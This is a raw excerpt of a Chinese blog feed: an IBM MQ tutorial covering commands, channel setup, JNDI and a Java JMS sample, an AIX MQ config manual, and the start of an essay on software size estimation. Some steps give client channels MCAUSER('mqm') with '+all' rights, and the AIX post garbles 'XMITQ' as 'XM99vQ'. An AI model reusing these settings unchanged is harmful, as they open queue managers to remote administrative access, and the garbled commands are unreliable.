<p>本文就针对MQ的基本操作与配置进行详细的阐述，希望对读者有所帮助。 </p>
<p>一．MQ基本操作 </p>
<p>MQ中有几个很重要的组件：队列管理器（QueueManager）、队列（Queue）和通道（Channel）。其基本的操作方法如下： </p>
<p>创建队列管理器<br />
crtmqm –q QMgrName<br />
-q是指创建缺省的队列管理器 </p>
<p>删除队列管理器<br />
dltmqm QmgrName </p>
<p>启动队列管理器<br />
strmqm QmgrName<br />
如果是启动默认的队列管理器，可以不带其名字<br />
<span id="more-1421"></span><br />
停止队列管理器<br />
endmqm QmgrName 受控停止 </p>
<p>endmqm –i QmgrName 立即停止 </p>
<p>endmqm –p QmgrName 强制停止 </p>
<p>显示队列管理器<br />
dspmq –m QmgrName </p>
<p>运行MQSeries命令<br />
runmqsc QmgrName<br />
如果是默认队列管理器，可以不带其名字 </p>
<p>往队列中放消息<br />
amqsput QName QmgrName<br />
如果队列是默认队列管理器中的队列，可以不带其队列管理器的名字 </p>
<p>从队列中取出消息<br />
amqsget QName QmgrName<br />
如果队列是默认队列管理器中的队列，可以不带其队列管理器的名字 </p>
<p>启动通道<br />
runmqchl –c ChlName –m QmgrName </p>
<p>启动侦听<br />
runmqlsr –t TYPE –p PORT –m QMgrName </p>
<p>停止侦听<br />
endmqlsr -m QmgrName </p>
<p>MQSeries命令 </p>
<p>定义死信队列<br />
DEFINE QLOCAL（QNAME） DEFPSIST（YES） REPLACE </p>
<p>设定队列管理器的死信队列<br />
ALTER QMGR DEADQ（QNAME） </p>
<p>定义本地队列<br />
DEFINE QL（QNAME） REPLACE </p>
<p>定义别名队列<br />
DEFINE QALIAS(QALIASNAME) TARGQ(QNAME) </p>
<p>远程队列定义<br />
DEFINE QREMOTE（QRNAME） +<br />
RNAME（AAA） RQMNAME（QMGRNAME） +<br />
XMITQ（QTNAME） </p>
<p>定义模型队列<br />
DEFINE QMODEL（QNAME） DEFTYPE（TEMPDYN） </p>
<p>定义本地传输队列<br />
DEFINE QLOCAL(QTNAME) USAGE(XMITQ) DEFPSIST(YES) +<br />
INITQ（SYSTEM.CHANNEL.INITQ）+<br />
PROCESS(PROCESSNAME) REPLACE </p>
<p>创建进程定义<br />
DEFINE PROCESS（PRONAME） +<br />
DESCR（‘STRING’）+<br />
APPLTYPE（WINDOWSNT）+<br />
APPLICID（’ runmqchl -c SDR_TEST -m QM_ TEST’）<br />
其中APPLTYPE的值可以是：CICS、UNIX、WINDOWS、WINDOWSNT等 </p>
<p>创建发送方通道<br />
DEFINE CHANNEL（SDRNAME） CHLTYPE（SDR）+<br />
CONNAME（‘100.100.100.215(1418)’） XMITQ（QTNAME） REPLACE<br />
其中CHLTYPE可以是：SDR、SVR、RCVR、RQSTR、CLNTCONN、SVRCONN、CLUSSDR和CLUSRCVR。 </p>
<p>创建接收方通道<br />
DEFINE CHANNEL（SDR_ TEST） CHLTYPE（RCVR） REPLACE </p>
<p>创建服务器连接通道<br />
DEFINE CHANNEL（SVRCONNNAME） CHLTYPE（SVRCONN） REPLACE </p>
<p>显示队列的所有属性<br />
DISPLAY QUEUE（QNAME） [ALL] </p>
<p>显示队列的所选属性<br />
DISPLAY QUEUE（QNAME） DESCR GET PUT<br />
DISPLAY QUEUE（QNAME）MAXDEPTH CURDEPTH </p>
<p>显示队列管理器的所有属性<br />
DISPLAY QMGR [ALL] </p>
<p>显示进程定义<br />
DISPLAY PROCESS（PRONAME） </p>
<p>更改属性<br />
ALTER QMGR DESCR（‘NEW DESCRIPTION’）<br />
ALTER QLOCAL（QNAME） PUT（DISABLED）<br />
ALTER QALIAS（QNAME） TARGQ（TARGQNAME） </p>
<p>删除队列<br />
DELETE QLOCAL（QNAME）<br />
DELETE QREMOTE（QRNAME） </p>
<p>清除队列中的所有消息<br />
CLEAR QLOCAL（QNAME） </p>
<p>二．配置一个能够通信的远程连接<br />
以上讲述了MQ的基本命令操作，但只知道这些是没有实际意义的。MQ的最终目的是实现远程通信，所以下面就以一个具体的例子来说明如何实现远程连接。这个例子的目的是建立可以实现消息传递的一对MQ服务器，它们分别基于NT和UNIX平台。<br />
首先在NT端建一队列管理器<br />
crtmqm –q QM_NT<br />
启动队列管理器<br />
strmqm QM_NT<br />
运行MQ控制台命令<br />
runmqsc QM_NT<br />
创建死信队列<br />
DEFINE QL(NT.DEADQ) DEFPSIST(YES) REPLACE<br />
更改队列管理器属性，设置其死信队列<br />
ALTER QMGR DEADQ（NT.DEADQ）<br />
创建进程定义<br />
DEFINE PROCESS（P_NT）+<br />
APPLTYPE（WINDOWSNT）+<br />
APPLICID（’ runmqchl -c SDR_NT -m QM_NT’）<br />
创建本地传输队列<br />
DEFINE QL(QT_NT) USAGE(XMITQ) DEFPSIST(YES) +<br />
INITQ（SYSTEM.CHANNEL.INITQ）+<br />
PROCESS(P_NT) REPLACE<br />
创建远程队列定义，对应于UNIX机器上的本地队列Q_UNIX，传输队列为QT_NT<br />
DEFINE QREMOTE（QR_NT）+<br />
RNAME（Q_UNIX） RQMNAME（QM_UNIX）+<br />
XMITQ（QT_NT）<br />
创建发送方通道，其传输队列为QT_NT，远程主机地址为10.10.10.2，侦听端口为1414<br />
DEFINE CHANNEL（SDR_NT） CHLTYPE（SDR）+<br />
CONNAME（‘10.10.10.2(1414)’） XMITQ（QT_NT） REPLACE<br />
创建服务器连接通道<br />
DEFINE CHANNEL（S_NT） CHLTYPE（SVRCONN） REPLACE </p>
<p>在UNIX端创建队列管理器<br />
crtmqm –q QM_UNIX<br />
启动队列管理器<br />
strmqm QM_UNIX<br />
添加侦听程序<br />
修改/etc/services文件，加入一行：<br />
MQSeries 1414/tcp #MQSeries channel listener<br />
修改/etc/inetd.conf文件，加入一行（启动侦听程序）<br />
MQSeries stream tcp nowait mqm /usr/lpp/mqm/bin/amqcrsta amqcrsta –m QM_UNIX<br />
运行以下命令，以使修改起作用<br />
refresh –s inetd </p>
<p>运行MQ控制台命令<br />
runmqsc QM_UNIX<br />
创建死信队列<br />
DEFINE QL(UNIX.DEADQ) DEFPSIST(YES) REPLACE<br />
更改队列管理器属性，设置其死信队列<br />
ALTER QMGR DEADQ（UNIX.DEADQ）<br />
创建接收方通道，其名字必须与远程发送方相同<br />
DEFINE CHANNEL（SDR_NT） CHLTYPE（RCVR） REPLACE<br />
创建本地队列<br />
DEFINE QL（Q_UNIX） DEFPSIST(YES) REPLACE<br />
创建服务器连接通道<br />
DEFINE CHANNEL（S_UNIX） CHLTYPE（SVRCONN） REPLACE </p>
<p>经过以上操作之后，远程连接的配置工作完成。接下来需要验证配置是否正确。<br />
在NT端启动发送方通道<br />
runmqchl –c SDR_NT –m QM_NT 或 start chl(SDR_NT)<br />
从NT端发送消息到UNIX端<br />
amqsput QR_NT QM_NT<br />
在UNIX端接收消息<br />
/usr/mqm/samp/bin/amqsget Q_UNIX QM_UNIX </p>
<p>若能收到消息，说明配置成功。 </p>
<p>另，在NT下一般情况下在建立队列管理器时会自动建立侦听器，启动队列管理器时则会自动启动侦听程序。当然也可以手动配置侦听程序。<br />
修改\winnt\system32\drivers\etc\services文件，在文件中加入一行：<br />
MQSeries 1414/tcp #MQSeries channel listener<br />
启动侦听程序<br />
runmqlsr –t tcp –p 1414 –m QM_NT </p>
<p>以上说明了怎样建立简单的单向传输网络。消息从NT端传送到UNIX端。建立从UNIX端到NT端的远程连接和以上相仿，要建立双向的传输网络也是同样的道理。 </p>
<p>三．配置JNDI<br />
用JMS实现消息的发送和接收时，经常会用到JNDI。因为JNDI这种方式比较灵活，对于编程也比较简单。<br />
在安装了MQSeries Client for Java之后，在\java\bin目录下找到JMSAdmin.config文件。该文件主要用来说明Context的存储方式及存储地址，对应于文件中的两个参数INITIAL_CONTEXT_FACTORY和PROVIDER_URL。典型的JMSAdmin.config文件内容如下： </p>
<p>#INITIAL_CONTEXT_FACTORY=com.sun.jndi.ldap.LdapCtxFactory<br />
INITIAL_CONTEXT_FACTORY=com.sun.jndi.fscontext.RefFSContextFactory<br />
#INITIAL_CONTEXT_FACTORY=com.ibm.ejs.ns.jndi.CNInitialContextFactory<br />
#<br />
#PROVIDER_URL=ldap://polaris/o=ibm,c=us<br />
PROVIDER_URL=file:/d:/temp<br />
#PROVIDER_URL=iiop://localhost/<br />
#<br />
SECURITY_AUTHENTICATION=none </p>
<p>INITIAL_CONTEXT_FACTORY表示JMSAdmin Tool使用的服务提供商。当前有三种受支持的值。com.sun.jndi.ldap.LdapCtxFactory用于LDAP，如果使用它就必须安装一个LDAP服务器。com.sun.jndi.fscontext.RefFSContextFactory用于文件系统上下文，它只需要使用者提供存放上下文的文件路径。com.ibm.ejs.ns.jndi.CNInitialContextFactory是专门为websphere提供的，它需要和websphere的CosNaming资源库一起使用。<br />
PROVIDER_URL表示会话初始上下文的URL，由JMSAdmin tool实现的所有JNDI操作的根。它和INITIAL_CONTEXT_FACTORY一一对应。 </p>
<p>ldap://hostname/contextname 用于LDAP<br />
file:[drive:]/pathname 用于文件系统上下文<br />
iiop://hostname[:port]/[?TargetContext=ctx] 用于访问websphere CosNaming名称空间 </p>
<p>最后还有一个参数SECURITY_AUTHENTICATION，用于说明JNDI是否把安全性凭证传递给了您使用的服务供应商。只有当使用了LDAP服务供应商时，才使用此参数。此参数有三个值，none（匿名认证）、simple（简单认证）和CRAM-MD5认证机制。如果没有提供有效值，缺省值为none。 </p>
<p>确认配置文件之后，可以在\java\bin目录下启动JMSAdmin控制台。也可以在任何目录下用下面的命令来启动控制台：<br />
JMSAdmin –cfg MQ_JAVA_INSTALL_PATH\java\bin\JMSAdmin.config<br />
其中MQ_JAVA_INSTALL_PATH为MQSeries Client for Java安装的根目录。<br />
若启动失败，则好好检查一下您的环境变量是否设置正确。根据我个人的经验，除了把com.ibm.mq.jar和com.ibm.mqjms.jar加入到环境变量外，还要把fscontext.jar和providerutil.jar加入到环境变量。<br />
进入JMSAdmin控制台后，您可以自由定义sub context。对于子上下文的操作，主要有一下命令：<br />
display ctx<br />
define ctx(ctxname)<br />
change ctx(ctxname)<br />
change ctx(=up)<br />
change ctx(=init)<br />
delete ctx(ctxname) </p>
<p>当然，在这里的主要任务并非是用来定义sub context，而是用来定义以下几个对象：<br />
MQQueueConnectionFactory<br />
MQTopicConnectionFactory<br />
MQQueue<br />
MQTopic<br />
（还有其它的一些对象，如MQXAQueueConnectionFactory等，不常用到，在此不作说明。）<br />
可以使用很多动词来操纵目录名称空间中的受管理对象。ALTER、DEFINE、DISPLAY、DELETE、COPY和MOVE，</p>
<p>它们的用法都算比较简单，这里只列举一二以作说明。<br />
例一：定义一QueueConnectionFactory，连接主机10.10.10.18，端口1414<br />
DEFINE QCF(EXAMPLEQCF)+<br />
DESC(Example Queue Connection Factory)+<br />
TRAN(CLIENT)+<br />
HOST(10.10.10.18)+<br />
QMGR(QM_EXAMPLE)+<br />
CHAN(S_EXAMPLE)+<br />
PORT(1414)+<br />
CCSID(1381) </p>
<p>例二：定义一Queue，其对应于MQ中的Q_EXAMPLE<br />
DEFINE Q(EXAMPLEQL)+<br />
DESC(Local queue)+<br />
QMGR(QM_EXAMPLE)+<br />
QUEUE(Q_EXAMPLE)+<br />
CCSID(1381) </p>
<p>四．用JMS实现MQ编程<br />
上面我们说明了怎样用JMSAdmin Tool定义MQ对象的上下文。我们的最终目的是要用JMS来实现MQ编程，以实现在程序中对MQ队列进行收、发消息。所以，下面我们将重点讨论一下MQ的JMS实现。<br />
如果您对JMS编程很熟悉，那么您也就会用JMS来实现MQ编程，因为用JMS来编写MQ程序与编写一般的JMS程序没有太大的差别。举个例子，当我们想发送一条消息到MQ的队列中，再从该队列中取回消息时，我们编程时主要有四个步骤。首先我们要初始化在程序中要用到的对象，然后才可以发送消息到队列中去，再就是收取消息了，最后要清除那些永久对象。这些都和普通的JMS程序相当。程序的源代码如下： </p>
<p>import java.util.Hashtable;<br />
import javax.jms.*;<br />
import javax.naming.*;<br />
import javax.naming.directory.*; </p>
<p>public class sample {<br />
protected QueueConnectionFactory factory=null;<br />
protected QueueConnection connection;<br />
protected QueueSession queueSession;<br />
protected TextMessage outMessage;<br />
protected QueueSender queueSender;<br />
protected QueueReceiver queueReceiver; </p>
<p>public static final String qcfLookup=&#8221;EXAMPLEQCF&#8221;;<br />
public static final String qLookup=&#8221;EXAMPLEQL&#8221;;<br />
public static final String icf = &#8220;com.sun.jndi.fscontext.RefFSContextFactory&#8221;;<br />
public String url =&#8221;file:/d:/temp&#8221;; </p>
<p>public void sampleInit() throws Exception {<br />
Hashtable environment = new Hashtable();<br />
environment.put(Context.INITIAL_CONTEXT_FACTORY, icf);<br />
environment.put(Context.PROVIDER_URL, url);<br />
environment.put(Context.REFERRAL, &#8220;throw&#8221;);<br />
Context ctx=new InitialDirContext(environment);<br />
factory = (QueueConnectionFactory)ctx.lookup(qcfLookup);<br />
Queue q1=null;<br />
q1=(Queue)ctx.lookup(qLookup);<br />
connection = factory.createQueueConnection();<br />
queueSession = connection.createQueueSession(false, Session.AUTO_ACKNOWLEDGE); </p>
<p>queueSender = queueSession.createSender(q1);<br />
queueSender.setDeliveryMode(DeliveryMode.NON_PERSISTENT);<br />
outMessage = queueSession.createTextMessage();<br />
queueReceiver = queueSession.createReceiver(q1);<br />
connection.start();<br />
}<br />
public void sendMessageOut(String message) throws JMSException {<br />
outMessage.setText(message);<br />
queueSender.send(outMessage);<br />
}<br />
public String receiveMessage() throws Exception{<br />
return ((TextMessage)queueReceiver.receive()).getText();<br />
}<br />
public void sampleClose() throws JMSException {<br />
queueSession.close();<br />
connection.close();<br />
} </p>
<p>public static void main(String[] args){<br />
String rec;<br />
sample sp = new sample();<br />
try {<br />
sp.sampleInit();<br />
sp.sendMessageOut(&#8220;Hello World!&#8221;);<br />
java.lang.Thread.sleep(4000);<br />
rec=sp.receiveMessage();<br />
System.out.println(&#8220;Receive text is : &#8220;+rec);<br />
sp.sampleClose();<br />
}catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
} </p>
<p>五．远程管理<br />
MQ在WINDOWS平台下具有图形化管理界面，但在UNIX平台下却只能通过命令行来进行操作。</p>
<p>这样就给使用者带来很大的不便。我们都希望能通过图形界面来进行管理配置。为了实现我们的想法，我们就必须建立远程管理。<br />
实现远程管理有以下几个步骤：<br />
1．被管理队列管理器上的命令队列SYSTEM.ADMIN.COMMAND.QUEUE存在并可用。对于MQ 2版本应执行 amqscoma.tst 脚本来创建。<br />
2．使用strmqcsv命令来启动被管理队列管理器上的命令服务器。<br />
3．确定被管理队列管理器上的服务器连接通道SYSTEM.ADMIN.SVRCONN是否存在，如果不存在则创建它。<br />
4．一般Unix、Linux平台中MQ默认的字符集为819，而Windows平台为1381，</p>
<p>所以你必须改变其字符集，使两边的字符集相同。一般改被管理的字符集。<br />
5．如果被管理队列管理器上的操作用户与管理队列管理器上的操作用户不同，</p>
<p>那么你首先要确认管理队列管理器上的操作用户在被管理队列管理器上存在并且有管理MQ的权限，</p>
<p>再者，你需要修改服务器连接通道SYSTEM.ADMIN.SVRCONN的MCAUSER属性为管理队列管理器上的操作用户。</p>
<p>6．启动被管理队列管理器上的侦听器。 </p>
<p>做完这些工作之后，直接在管理队列管理器的MQ管理工具中显示被管理队列管理器即可。</p>
<p>然后你就可以象操作本地队列管理器一样，在被管理队列管理器上定义你需要的MQ对象。 </p>
<p>六．通道维护<br />
在配置远程连接的时候，我们曾经创建过进程定义。那我们为什么要去创建进程定义呢？这就涉及MQ通道维护的概念。<br />
通道长时间没有消息触发就会自动断开连接，不再保持运行状态。时间的长短可以由自己设定，默认值为6000秒。</p>
<p>消息请求再次来临的时候，就必须再次启动通道。有些通道，如服务器连接通道、接收方通道等是自动触发启动的。</p>
<p>当消息请求发送到通道后，通道立即启动，进入运行状态。但也有一些通道不会自动启动，最典型的就是发送方通道。</p>
<p>当有消息请求需要使用通道进行消息传递的时候，发送方通道也不会自动启动并把消息发送到远程队列，</p>
<p>而是把消息留在了与其相关联的传输队列中。<br />
但是，在实际应用中我们又不可能每过一段时间去启动一次通道，或当有消息来再去启动通道。</p>
<p>那应该怎么办？首先我们创建一个进程定义，这个进程定义的目的就是用来启动发送方通道。</p>
<p>然后我们在传输队列的进程名称属性栏指定刚才定义的进程定义名称，再把触发器控制开关打开。</p>
<p>这样，当有消息进入传输队列后，传输队列的触发器会启动触发执行指定的进程，</p>
<p>从而启动发送方通道，把消息传输到远程队列中去。 </p>
<p>显示通道状态:<br />
dis chstatus(*)</p>
<p>SUSPEND QMGR CLUSTER(SALES)</p>
<p>设置队列管理器的自启动<br />
amqmdain</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1421.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MQ for AIX 手册</title>
		<link>http://www.evanjiang.net.cn/archives/1419.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1419.html#comments</comments>
		<pubDate>Sat, 09 Jan 2010 08:29:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1419</guid>
		<description><![CDATA[<p>1 软件安装
#smitty install
Install and Update Software
Install and Update from Latest Available Software
Software to install (用F4选择安装介质, 用F7选择下面的软件)
可选择全部来安装 </p>
<p>2 安装配置
在MQM用户下：
$crtmqm -q MAP /*创建队列管理器*/
$strmqm MAP /*启动队列管理器*/
$runmqsc MAP /*定义管理器资源*/
DEFINE QLOCAL( ) /*接收队列 */
DEFINE QLOCAL( ) USAGE( ) /*传输队列 */
DEFINE QREMOTE( ) RNAME( ) RQMNAME( ) XM99vQ( ) /*发送队列*/
DEFINE CHANNEL( ) CHLTYPE( ) CONNAME( ) TRPTYPE(TCP) XM99vQ( ) DISCINT(0) /*发送通道*/
DEFINE [...]]]></description>
			<content:encoded><![CDATA[<p>1 软件安装<br />
#smitty install<br />
Install and Update Software<br />
Install and Update from Latest Available Software<br />
Software to install (用F4选择安装介质, 用F7选择下面的软件)<br />
可选择全部来安装 </p>
<p>2 安装配置<br />
在MQM用户下：<br />
$crtmqm -q MAP /*创建队列管理器*/<br />
$strmqm MAP /*启动队列管理器*/<br />
$runmqsc MAP /*定义管理器资源*/<br />
DEFINE QLOCAL( ) /*接收队列 */<br />
DEFINE QLOCAL( ) USAGE( ) /*传输队列 */<br />
DEFINE QREMOTE( ) RNAME( ) RQMNAME( ) XM99vQ( ) /*发送队列*/<br />
DEFINE CHANNEL( ) CHLTYPE( ) CONNAME( ) TRPTYPE(TCP) XM99vQ( ) DISCINT(0) /*发送通道*/<br />
DEFINE CHANNEL( ) CHLTYPE(RCVR) TRPTYPE(TCP) /*接收通道*/<br />
end /*退出*/<br />
$runmqlsr -t tcp -m MAP -p 1442 /*启动侦听器*/<br />
$endmqm MAP /*停止MQ服务*/ </p>
<p><span id="more-1419"></span>* CICS权限配置<br />
# 显示队列管理器MAP对cics组的权限<br />
dspmqaut -m MAP -t qmgr -g cics </p>
<p># 设置队列管理器MAP对cics组的权限<br />
setmqaut -m MAP -t qmgr -g cics +all </p>
<p># 设置队列对cics组的权限<br />
setmqaut -m MAP -n *** -t queue -g cics +all </p>
<p># 显示当前的权限配置<br />
dspmqaut -m MAP -n *** -t queue -g cics </p>
<p>* MQ客户端配置<br />
1．安装IBM MQSeries Client </p>
<p>2．设置所有用户环境变量<br />
打开/etc/profile，添加<br />
MQSERVER=&#8221;MAP/TCP/hostname(1442)&#8221;<br />
&#8220;export MQSERVER&#8221; </p>
<p>3．设置CICS环境变量<br />
在文件/var/cics_regions/SDMAP1/environment添加如下行<br />
MQSERVER=&#8221;MAP/TCP/hostname(1442)&#8221;即可。 </p>
<p>4．服务器配置<br />
runmqsc MAP<br />
DEFINE CHANNEL(FS.SERVER) CHLTYPE(SVRCONN) TRPTYPE(TCP) MCAUSER(&#8216;mqm&#8217;) </p>
<p>* MQ服务器远程管理配置<br />
1． 定义通道<br />
$ runmqsc MAP<br />
DEFINE CHANNEL(SYSTEM.ADMIN.SVRCONN) CHLTYPE(SVRCONN) TRPTYPE(tcp) mcauser(&#8216;mqm&#8217;)<br />
如果通道已定义则跳过此步。 </p>
<p>2． 启动命令服务器<br />
$ strmqcsv MAP<br />
每次重启MQ队列管理器后必须重启命令服务器。 </p>
<p>3． 远程连接与管理<br />
打开Windows下的“MQSeries 资源管理器”，右键点击“队列管理器”，选“显示队列管理器”，输入队列管理器名称和连接名称确定即可。 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1419.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>项目规模估算失准 软件开发成空中楼阁</title>
		<link>http://www.evanjiang.net.cn/archives/1417.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1417.html#comments</comments>
		<pubDate>Fri, 01 Jan 2010 01:58:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[项目管理]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1417</guid>
		<description><![CDATA[<p>   软件项目的估算历来是比较复杂的事，因为软件本身的复杂性、历史经验的可重复性、估算工具的缺乏以及一些人为错误，都会导致软件项目的估算往往和实际情况相差甚远。据有关机构调查发现，约有60％的软件项目的失败是因为估算偏差引起的，而不是因为技术实力不够。因此，估算偏差已被列为软件项目失败的四大原因之一。
    从软件工程学上，我们知道软件需求和估算是软件项目的基础。因为只有准确的了解客户的需求，以之为基础，并使用科学的方法对目标软件系统的规模、工作量和进度做出合理的估算，我们才能在预算内按时按质顺利的完成项目。然而，软件估算作为软件项目的基础领域却常常被人们所忽视。我在近期的一个开发项目中就尝到忽视软件规模估算带来的苦果，结果是项目进行到一半时就发现不但工期严重滞后于计划，而且项目的各种资源也严重的不足和缺乏，项目被迫暂停下马。
常见的项目规模估算失准原因
    一直以来，软件项目的规模估算（Size Estimation）是个争论不休的问题。不论是对软件开发团队还是对软件用户，软件规模估算的重要性都是不容置疑的。因为它能极大的影响着甲方对发包软件的成本估算，乙方对自身开发成本的预测，以及乙方对开发过程的量化管理等诸多方面。而且，只有相对合理和相对准确地估算软件规模，才能对项目的进度安排、资源分配等各个环节进行合理的部署。所以，软件项目的规模估算是软件项目中相当重要的一环。但是，以下的原因却使到我在这次项目的实际操作中对项目规模估算失准了：
    （1）对项目规模估算认识不足
    项目规模估算一般分为两种应用场景：一是招投标的时候用来估价、报价；二是用来安排进度计划和指导项目具体工作的分配。因此，如果对规模估算认识不足的话，将可能会在这两种应用场景中估算失准。例如，如果项目规模低估的话就会造成人力估算低估、成本预算低估、日程过短，最终人力资源耗尽，成本超出预算。最后为了完成项目不得不赶工，不但会影响到项目质量，甚至会导致项目失败。而如果规模高估的话，就会因估价过高而降低了招投标时的竞争力，或在进度安排时提高了开发成本和浪费资源。由于对规模估算的认识不足，使到我在这次项目中就尝到一个大苦果，就是低估项目规模导致项目需要多次的追加预算。我不但多次受到公司领导的批评，而且还受到客户的多次投诉。
    （2）个人经验估算法带有一定的局限性
    一般来说，依靠历史或个人经验的规模估算方法都有一定的局限性。原因是很难在项目分析和计划阶段就对软件的规模进行相对准确的估算。因为估算是依靠评估人员的经验，所以对评估人员的能力要求比较强，并且难以由第三方对评估人员的工作偏差作出修正。在这次项目的初期，我片面的只是根据个人经验进行估算，结果是轻率的估算了项目规模。这是最后导致项目失利的原因之一。另外，不同软件项目使用的技术不一样，这一点也非常影响到软件规模的估算。例如同一个功能,使用JAVA语言和使用Ruby语言所涉及的代码行相差数十行，甚至数百行。即使同为JAVA语言,使用不用的框架所需要编写的代码行也不一样。
    （3）对项目估算时缺乏数据支持
    因为在软件开发初期时对规模估算都是很难准确量化的，所以到底需要多少资源、多长时间或者规模估算到什么的程度才算是合理的是没有一个标准的。但一个好的项目估算，是离不开一个准确的、可信的、客观的数据作为基础。如果在项目规模估算时只凭项目管理人员的经验进行估算，而缺乏大量的数据支持，那么估算最终就会变成常见的&#8221;三拍&#8221;现象：&#8221;首先是项目经理拍脑袋估算，然后是项目经理估算失准时拍马屁的补救，最后是项目失败时拍屁股走人&#8221;。当然，这只是个玩笑。不过由此可见项目规模估算不能只依靠经验来估算，而应该是要有大量的数据来支持。
什么是软件项目的规模估算？
    软件开发项目管理中的一项重要任务是开发项目的规模估算，这是极其重要但却很容易被忽视的一项内容。因为没有正确的规模估算，项目计划就会失去成功的基础。可惜大部分的开发团队都很难做到对项目规模进行准确的估算。
    （1）什么是项目规模估算？
    做好软件项目管理的基础是要做好项目的规划工作，而做好项目规划的前提是要做好软件估算。也就是说，就是没有好的软件估算，项目的规划、跟踪和控制就根本无从谈起。因此，软件估算是项目计划活动的基础之一。
    软件估算一般是通过主观经验和客观分析两种方法进行，包括有四个重要方面：规模估算、工作量估算、进度估算和成本估算。其中，对规模进行估算是为了将项目范围进行量化。规模估算是整个软件估算中最核心、最基础的环节，也是整个软件估算的第一步。规模估算有两个主要作用：一是通过规模估算建立项目基线；二是利用基线对项目生产率和状态进行评价，并确定软件过程的进度目标。也就是说，规模估算是一切估算的基础，是能直接决定和影响到其它三个估算的决策。
   [...]]]></description>
			<content:encoded><![CDATA[<p>   软件项目的估算历来是比较复杂的事，因为软件本身的复杂性、历史经验的可重复性、估算工具的缺乏以及一些人为错误，都会导致软件项目的估算往往和实际情况相差甚远。据有关机构调查发现，约有60％的软件项目的失败是因为估算偏差引起的，而不是因为技术实力不够。因此，估算偏差已被列为软件项目失败的四大原因之一。<br />
    从软件工程学上，我们知道软件需求和估算是软件项目的基础。因为只有准确的了解客户的需求，以之为基础，并使用科学的方法对目标软件系统的规模、工作量和进度做出合理的估算，我们才能在预算内按时按质顺利的完成项目。然而，软件估算作为软件项目的基础领域却常常被人们所忽视。我在近期的一个开发项目中就尝到忽视软件规模估算带来的苦果，结果是项目进行到一半时就发现不但工期严重滞后于计划，而且项目的各种资源也严重的不足和缺乏，项目被迫暂停下马。<br />
常见的项目规模估算失准原因<br />
    一直以来，软件项目的规模估算（Size Estimation）是个争论不休的问题。不论是对软件开发团队还是对软件用户，软件规模估算的重要性都是不容置疑的。因为它能极大的影响着甲方对发包软件的成本估算，乙方对自身开发成本的预测，以及乙方对开发过程的量化管理等诸多方面。而且，只有相对合理和相对准确地估算软件规模，才能对项目的进度安排、资源分配等各个环节进行合理的部署。所以，软件项目的规模估算是软件项目中相当重要的一环。但是，以下的原因却使到我在这次项目的实际操作中对项目规模估算失准了：<br />
    （1）对项目规模估算认识不足<br />
    项目规模估算一般分为两种应用场景：一是招投标的时候用来估价、报价；二是用来安排进度计划和指导项目具体工作的分配。因此，如果对规模估算认识不足的话，将可能会在这两种应用场景中估算失准。例如，如果项目规模低估的话就会造成人力估算低估、成本预算低估、日程过短，最终人力资源耗尽，成本超出预算。最后为了完成项目不得不赶工，不但会影响到项目质量，甚至会导致项目失败。而如果规模高估的话，就会因估价过高而降低了招投标时的竞争力，或在进度安排时提高了开发成本和浪费资源。由于对规模估算的认识不足，使到我在这次项目中就尝到一个大苦果，就是低估项目规模导致项目需要多次的追加预算。我不但多次受到公司领导的批评，而且还受到客户的多次投诉。<br />
    （2）个人经验估算法带有一定的局限性<br />
    一般来说，依靠历史或个人经验的规模估算方法都有一定的局限性。原因是很难在项目分析和计划阶段就对软件的规模进行相对准确的估算。因为估算是依靠评估人员的经验，所以对评估人员的能力要求比较强，并且难以由第三方对评估人员的工作偏差作出修正。在这次项目的初期，我片面的只是根据个人经验进行估算，结果是轻率的估算了项目规模。这是最后导致项目失利的原因之一。另外，不同软件项目使用的技术不一样，这一点也非常影响到软件规模的估算。例如同一个功能,使用JAVA语言和使用Ruby语言所涉及的代码行相差数十行，甚至数百行。即使同为JAVA语言,使用不用的框架所需要编写的代码行也不一样。<br />
  <span id="more-1417"></span>  （3）对项目估算时缺乏数据支持<br />
    因为在软件开发初期时对规模估算都是很难准确量化的，所以到底需要多少资源、多长时间或者规模估算到什么的程度才算是合理的是没有一个标准的。但一个好的项目估算，是离不开一个准确的、可信的、客观的数据作为基础。如果在项目规模估算时只凭项目管理人员的经验进行估算，而缺乏大量的数据支持，那么估算最终就会变成常见的&#8221;三拍&#8221;现象：&#8221;首先是项目经理拍脑袋估算，然后是项目经理估算失准时拍马屁的补救，最后是项目失败时拍屁股走人&#8221;。当然，这只是个玩笑。不过由此可见项目规模估算不能只依靠经验来估算，而应该是要有大量的数据来支持。<br />
什么是软件项目的规模估算？<br />
    软件开发项目管理中的一项重要任务是开发项目的规模估算，这是极其重要但却很容易被忽视的一项内容。因为没有正确的规模估算，项目计划就会失去成功的基础。可惜大部分的开发团队都很难做到对项目规模进行准确的估算。<br />
    （1）什么是项目规模估算？<br />
    做好软件项目管理的基础是要做好项目的规划工作，而做好项目规划的前提是要做好软件估算。也就是说，就是没有好的软件估算，项目的规划、跟踪和控制就根本无从谈起。因此，软件估算是项目计划活动的基础之一。<br />
    软件估算一般是通过主观经验和客观分析两种方法进行，包括有四个重要方面：规模估算、工作量估算、进度估算和成本估算。其中，对规模进行估算是为了将项目范围进行量化。规模估算是整个软件估算中最核心、最基础的环节，也是整个软件估算的第一步。规模估算有两个主要作用：一是通过规模估算建立项目基线；二是利用基线对项目生产率和状态进行评价，并确定软件过程的进度目标。也就是说，规模估算是一切估算的基础，是能直接决定和影响到其它三个估算的决策。<br />
    软件项目的规模估算历来是比较复杂的事，因为软件本身的复杂性、历史经验的缺乏、估算工具缺乏以及一些人为错误，导致软件项目的规模估算往往和实际情况相差甚远。 因此，估算错误已被列入软件项目失败的四大原因之一。<br />
